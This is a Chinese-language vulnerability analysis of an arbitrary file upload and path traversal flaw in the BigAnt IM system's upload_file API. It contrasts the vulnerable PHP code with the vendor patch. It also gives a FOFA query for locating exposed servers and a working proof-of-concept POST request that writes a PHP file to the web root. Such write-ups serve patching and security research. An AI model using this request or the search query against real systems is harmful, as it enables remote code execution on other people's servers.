漏洞简介
杭州九麒科技大蚂蚁 (BigAnt) 即时通讯系统是一款企业级IM通信管理系统,提供多种功能支持。该系统的 upload_file 接口存在文件上传漏洞,攻击者可以通过上传特制的 php 文件,执行恶意代码,实现服务器的远程控制,可能导致敏感信息泄露、数据篡改等危害。
影响版本
BigAnt 5.5.x 及以上版本用户

经过测试,最新版本 6.0.1.20250407.1 也受影响
fofa语法
(body="/Public/static/admin/admin_common.js" && body="/Public/lang/zh-cn.js.js") || title="即时通讯 系统登录" && body="/Public/static/ukey/Syunew3.js"
漏洞分析
先看官方漏洞通告

file_info 参数允许通过 ../ 符号进行路径穿越,绕过预设的存储目录,将恶意文件直接写入 Web 根目录。
ok,那我们就直接搜索 "file_info"

结果只有一个,指向 Application/Api/Controller/DispersedAddinController.class.php
或者结合官方的补丁分析

官方的修复说明只有两个文件需要替换,其中一个就是我搜索到的

再打开补丁里的DispersedAddinController.class.php文件看下,搜索file_info在upload_file()方法里有如下修复
// 不能是 .php, 不能带 ..
if (preg_match('/\.(php|phtml|php3|php7)$/i', $item['file_path'])) {
Jump::errror(301,"禁止上传非法文件后缀");
}
if (strpos($item['file_path'], '../')) {
Jump::errror(301,"禁止相对路径");
}
在看下存在漏洞而版本upload_file()方法
public function upload_file(){
$file_info = I("file_info");
if(empty($file_info)){
Jump::errror("3301","file_info is empty");
}
$file_info_arr=json_decode($file_info,true);
if(empty($file_info_arr)){
LogWrite("file_info: ".$file_info);
Jump::errror("3301","file_info json_decode error");
}
if($file_info_arr){
foreach( $file_info_arr as $item ){
$res = move_uploaded_file($_FILES['file']['tmp_name'], SITE_PATH.'/'.str_replace('[webserver]','',$item['file_path']));
if($res===false){
LogWrite("文件移动失败 ".$item['file_path']);
}
}
}
$res = ExtAttachModel::DD()->addAll($file_info_arr);
if($res===false){
$message = "err : ".ExtAttachModel::DD()->getError();
LogWrite($message);
Jump::errror("3001",$message);
}
Jump::success("添加成功");
}
对于file_info传入的直接使用json_decode解析后取出file_path的值作为保存上传文件move_uploaded_file的路径一部分拼接,没有过滤或校验,因此造成任意文件上传+目录穿越组合上传恶意文件如php webshell到web应用根目录 htdocs从而达到代码执行、命令执行、甚至控制服务器。
但是我发现我本地测试的时候不需要目录穿越,这也和代码里的SITE_PATH.'/'.str_replace('[webserver]','',$item['file_path'])对得上,因为
根据index.php中的定义:
define('APP_PATH','./Application/');
define('SITE_PATH', __DIR__);
define('RUNTIME_PATH', SITE_PATH.'/Runtime/');
__DIR__ 是PHP 魔术常量,表示当前脚本所在的目录。
因此,如果 index.php 位于默认安装路径下,SITE_PATH 的值应该是:
C:\Program Files\BigAntSoft\AntServer\im_webserver\htdocs
假设 $item['file_path'] 的值是 [webserver]/uploads/2024/file.jpg,那么:
SITE_PATH . '/' . str_replace('[webserver]', '', $item['file_path'])
最终会生成:
C:\Program Files\BigAntSoft\AntServer\im_webserver\htdocs/uploads/2024/file.jpg
可能不同版本需要穿越?可尝试穿越到 ../htdocs 目录。
漏洞复现
需要注意thinkphp的路由特性,不区分大小写,且还支持如下等方式
/api/dispersedAddin/upload_file.html
/api/dispersedAddin/upload_file

POST /?m=Api&c=DispersedAddin&a=upload_file HTTP/1.1
Host: 127.0.0.1:8000
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="file_info"
[{"file_path":"test.php"}]
------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="1.txt"
<?=md5(123456);unlink(__FILE__);
------WebKitFormBoundary--

访问上传文件 test.php

成功执行我们上传的文件,并删除自身



